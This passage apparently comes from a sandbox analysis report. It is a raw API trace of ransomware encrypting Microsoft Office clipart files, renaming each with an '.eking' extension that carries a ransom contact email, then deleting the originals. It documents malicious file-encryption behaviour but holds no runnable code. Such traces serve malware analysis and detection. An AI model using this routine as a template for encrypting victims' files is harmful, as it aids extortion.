office\\clipart\\pub60cor\\ag00052_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1f4 [0188.819] ReadFile (in: hFile=0x1e0, lpBuffer=0x37b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d5fce4, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesRead=0x2d5fce4*=0x1e06, lpOverlapped=0x0) returned 1 [0188.903] WriteFile (in: hFile=0x1f4, lpBuffer=0x37b0020*, nNumberOfBytesToWrite=0x1e10, lpNumberOfBytesWritten=0x2d5fcc8, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesWritten=0x2d5fcc8*=0x1e10, lpOverlapped=0x0) returned 1 [0188.950] WriteFile (in: hFile=0x1f4, lpBuffer=0x37b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d5fcc8, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesWritten=0x2d5fcc8*=0xf2, lpOverlapped=0x0) returned 1 [0189.027] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fa38 | out: lpNewFilePointer=0x0) returned 1 [0189.027] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fa38 | out: lpNewFilePointer=0x0) returned 1 [0189.027] WriteFile (in: hFile=0x1e0, lpBuffer=0x37b0020*, nNumberOfBytesToWrite=0x1e06, lpNumberOfBytesWritten=0x2d5fa44, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesWritten=0x2d5fa44*=0x1e06, lpOverlapped=0x0) returned 1 [0189.029] FlushFileBuffers (hFile=0x1e0) returned 1 [0189.711] FlushFileBuffers (hFile=0x1f4) returned 1 [0190.067] CloseHandle (hObject=0x1e0) returned 1 [0190.084] CloseHandle (hObject=0x1f4) returned 1 [0190.114] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif")) returned 1 [0190.150] SetEvent (hEvent=0x174) returned 1 [0190.167] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0190.182] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=5375) returned 1 [0190.191] CloseHandle (hObject=0x1f4) returned 1 [0190.203] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif")) returned 0x20 [0190.203] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif")) returned 0x20 [0190.208] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0190.208] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0190.213] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fcd8 | out: lpNewFilePointer=0x0) returned 1 [0190.229] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fcd8 | out: lpNewFilePointer=0x0) returned 1 [0190.230] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e0 [0190.519] ReadFile (in: hFile=0x1f4, lpBuffer=0x37b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d5fce4, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesRead=0x2d5fce4*=0x14ff, lpOverlapped=0x0) returned 1 [0190.522] WriteFile (in: hFile=0x1e0, lpBuffer=0x37b0020*, nNumberOfBytesToWrite=0x1500, lpNumberOfBytesWritten=0x2d5fcc8, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesWritten=0x2d5fcc8*=0x1500, lpOverlapped=0x0) returned 1 [0190.523] WriteFile (in: hFile=0x1e0, lpBuffer=0x37b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d5fcc8, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesWritten=0x2d5fcc8*=0xf2, lpOverlapped=0x0) returned 1 [0190.523] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fa38 | out: lpNewFilePointer=0x0) returned 1 [0190.523] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fa38 | out: lpNewFilePointer=0x0) returned 1 [0190.523] WriteFile (in: hFile=0x1f4, lpBuffer=0x37b0020*, nNumberOfBytesToWrite=0x14ff, lpNumberOfBytesWritten=0x2d5fa44, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesWritten=0x2d5fa44*=0x14ff, lpOverlapped=0x0) returned 1 [0190.526] FlushFileBuffers (hFile=0x1f4) returned 1 [0190.860] FlushFileBuffers (hFile=0x1e0) returned 1 [0192.373] CloseHandle (hObject=0x1f4) returned 1 [0192.389] CloseHandle (hObject=0x1e0) returned 1 [0192.399] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif")) returned 1 [0192.400] SetEvent (hEvent=0x174) returned 1 [0192.416] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0192.418] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=16180) returned 1 [0192.418] CloseHandle (hObject=0x1e0) returned 1 [0192.418] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf")) returned 0x20 [0192.418] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf")) returned 0x20 [0192.419] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0192.419] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0192.437] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fcd8 | out: lpNewFilePointer=0x0) returned 1 [0192.437] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fcd8 | out: lpNewFilePointer=0x0) returned 1 [0192.437] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1f4 [0192.462] ReadFile (in: hFile=0x1e0, lpBuffer=0x37b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d5fce4, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesRead=0x2d5fce4*=0x3f34, lpOverlapped=0x0) returned 1 [0192.562] WriteFile (in: hFile=0x1f4, lpBuffer=0x37b0020*, nNumberOfBytesToWrite=0x3f40, lpNumberOfBytesWritten=0x2d5fcc8, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesWritten=0x2d5fcc8*=0x3f40, lpOverlapped=0x0) returned 1 [0192.564] WriteFile (in: hFile=0x1f4, lpBuffer=0x37b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d5fcc8, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesWritten=0x2d5fcc8*=0xf2, lpOverlapped=0x0) returned 1 [0192.564] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fa38 | out: lpNewFilePointer=0x0) returned 1 [0192.564] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fa38 | out: lpNewFilePointer=0x0) returned 1 [0192.564] WriteFile (in: hFile=0x1e0, lpBuffer=0x37b0020*, nNumberOfBytesToWrite=0x3f34, lpNumberOfBytesWritten=0x2d5fa44, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesWritten=0x2d5fa44*=0x3f34, lpOverlapped=0x0) returned 1 [0192.567] FlushFileBuffers (hFile=0x1e0) returned 1 [0192.574] FlushFileBuffers (hFile=0x1f4) returned 1 [0192.592] CloseHandle (hObject=0x1e0) returned 1 [0192.592] CloseHandle (hObject=0x1f4) returned 1 [0192.598] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf")) returned 1 [0192.615] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0192.626] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=40206) returned 1 [0192.627] CloseHandle (hObject=0x1f4) returned 1 [0192.627] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf")) returned 0x20 [0192.627] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf")) returned 0x20 [0192.637] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0192.637] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0192.642] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fcd8 | out: lpNewFilePointer=0x0) returned 1 [0192.642] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fcd8 | out: lpNewFilePointer=0x0) returned 1 [0192.642] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e0 [0192.652] ReadFile (in: hFile=0x1f4, lpBuffer=0x37b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d5fce4, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesRead=0x2d5fce4*=0x9d0e, lpOverlapped=0x0) returned 1 [0192.714] WriteFile (in: hFile=0x1e0, lpBuffer=0x37b0020*, nNumberOfBytesToWrite=0x9d10, lpNumberOfBytesWritten=0x2d5fcc8, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesWritten=0x2d5fcc8*=0x9d10, lpOverlapped=0x0) returned 1 [0192.761] WriteFile (in: hFile=0x1e0, lpBuffer=0x37b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d5fcc8, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesWritten=0x2d5fcc8*=0xf2, lpOverlapped=0x0) returned 1 [0192.761] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fa38 | out: lpNewFilePointer=0x0) returned 1 [0192.803] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fa38 | out: lpNewFilePointer=0x0) returned 1 [0192.803] WriteFile (in: hFile=0x1f4, lpBuffer=0x37b0020*, nNumberOfBytesToWrite=0x9d0e, lpNumberOfBytesWritten=0x2d5fa44, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesWritten=0x2d5fa44*=0x9d0e, lpOverlapped=0x0) returned 1 [0192.806] FlushFileBuffers (hFile=0x1f4) returned 1 [0193.266] FlushFileBuffers (hFile=0x1e0) returned 1 [0193.866] CloseHandle (hObject=0x1f4) returned 1 [0193.866] CloseHandle (hObject=0x1e0) returned 1 [0193.867] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf")) returned 1 [0193.870] SetEvent (hEvent=0x174) returned 1 [0193.871] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0193.871] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=9710) returned 1 [0193.871] CloseHandle (hObject=0x1e0) returned 1 [0193.872] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf")) returned 0x20 [0193.872] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf")) returned 0x20 [0193.872] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0193.872] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0193.872] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fcd8 | out: lpNewFilePointer=0x0) returned 1 [0193.872] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fcd8 | out: lpNewFilePointer=0x0) returned 1 [0193.872] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1f4 [0193.873] ReadFile (in: hFile=0x1e0, lpBuffer=0x37b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d5fce4, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesRead=0x2d5fce4*=0x25ee, lpOverlapped=0x0) returned 1 [0193.884] WriteFile (in: hFile=0x1f4, lpBuffer=0x37b0020*, nNumberOfBytesToWrite=0x25f0, lpNumberOfBytesWritten=0x2d5fcc8, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesWritten=0x2d5fcc8*=0x25f0, lpOverlapped=0x0) returned 1 [0193.885] WriteFile (in: hFile=0x1f4, lpBuffer=0x37b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d5fcc8, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesWritten=0x2d5fcc8*=0xf2, lpOverlapped=0x0) returned 1 [0193.885] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fa38 | out: lpNewFilePointer=0x0) returned 1 [0193.885] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fa38 | out: lpNewFilePointer=0x0) returned 1 [0193.886] WriteFile (in: hFile=0x1e0, lpBuffer=0x37b0020*, nNumberOfBytesToWrite=0x25ee, lpNumberOfBytesWritten=0x2d5fa44, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesWritten=0x2d5fa44*=0x25ee, lpOverlapped=0x0) returned 1 [0193.889] FlushFileBuffers (hFile=0x1e0) returned 1 [0194.119] FlushFileBuffers (hFile=0x1f4) returned 1 [0195.182] CloseHandle (hObject=0x1e0) returned 1 [0195.182] CloseHandle (hObject=0x1f4) returned 1 [0195.183] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf")) returned 1 [0195.185] SetEvent (hEvent=0x174) returned 1 [0195.186] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0195.187] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=18304) returned 1 [0195.187] CloseHandle (hObject=0x1f4) returned 1 [0195.187] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf")) returned 0x20 [0195.187] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf")) returned 0x20 [0195.187] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0195.188] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0195.188] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fcd8 | out: lpNewFilePointer=0x0) returned 1 [0195.188] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fcd8 | out: lpNewFilePointer=0x0) returned 1 [0195.188] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e0 [0195.189] ReadFile (in: hFile=0x1f4, lpBuffer=0x37b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d5fce4, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesRead=0x2d5fce4*=0x4780, lpOverlapped=0x0) returned 1 [0195.240] WriteFile (in: hFile=0x1e0, lpBuffer=0x37b0020*, nNumberOfBytesToWrite=0x4790, lpNumberOfBytesWritten=0x2d5fcc8, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesWritten=0x2d5fcc8*=0x4790, lpOverlapped=0x0) returned 1 [0195.242] WriteFile (in: hFile=0x1e0, lpBuffer=0x37b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d5fcc8, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesWritten=0x2d5fcc8*=0xf2, lpOverlapped=0x0) returned 1 [0195.243] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fa38 | out: lpNewFilePointer=0x0) returned 1 [0195.243] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fa38 | out: lpNewFilePointer=0x0) returned 1 [0195.243] WriteFile (in: hFile=0x1f4, lpBuffer=0x37b0020*, nNumberOfBytesToWrite=0x4780, lpNumberOfBytesWritten=0x2d5fa44, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesWritten=0x2d5fa44*=0x4780, lpOverlapped=0x0) returned 1 [0195.246] FlushFileBuffers (hFile=0x1f4) returned 1 [0195.843] FlushFileBuffers (hFile=0x1e0) returned 1 [0195.852] CloseHandle (hObject=0x1f4) returned 1 [0195.965] CloseHandle (hObject=0x1e0) returned 1 [0195.966] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf")) returned 1 [0195.968] SetEvent (hEvent=0x174) returned 1 [0195.968] SetEvent (hEvent=0x178) returned 1 [0195.968] SetEvent (hEvent=0x174) returned 1 [0195.968] SetEvent (hEvent=0x17c) returned 1 [0195.968] GetProcessHeap () returned 0x6a0000 [0195.968] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x50) returned 0x6bb698 [0195.968] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x770d0000 [0195.969] GetProcAddress (hModule=0x770d0000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x770fd668 [0195.969] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0195.969] GetProcessHeap () returned 0x6a0000 [0195.969] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bb698 | out: hHeap=0x6a0000) returned 1 [0195.969] SetEvent (hEvent=0x178) returned 1 [0195.969] SetEvent (hEvent=0x174) returned 1 [0195.969] SetEvent (hEvent=0x17c) returned 1 [0195.969] GetProcessHeap () returned 0x6a0000 [0195.969] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x37b0020 | out: hHeap=0x6a0000) returned 1 [0195.975] GetProcessHeap () returned 0x6a0000 [0195.975] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db4e0 | out: hHeap=0x6a0000) returned 1 [0195.975] GetProcessHeap () returned 0x6a0000 [0195.975] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36b0048 | out: hHeap=0x6a0000) returned 1 [0195.975] GetProcessHeap () returned 0x6a0000 [0195.975] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36c0050 | out: hHeap=0x6a0000) returned 1 Thread: id = 66 os_tid = 0x7c4 [0166.496] GetProcessHeap () returned 0x6a0000 [0166.496] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3724538 [0166.496] GetProcessHeap () returned 0x6a0000 [0166.496] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3746558 [0166.497] GetProcessHeap () returned 0x6a0000 [0166.497] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6db480 [0166.497] GetProcessHeap () returned 0x6a0000 [0166.497] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x110102) returned 0x38d0020 [0166.498] GetProcessHeap () returned 0x6a0000 [0166.498] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x50) returned 0x36d0268 [0166.498] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x770d0000 [0166.498] GetProcAddress (hModule=0x770d0000, 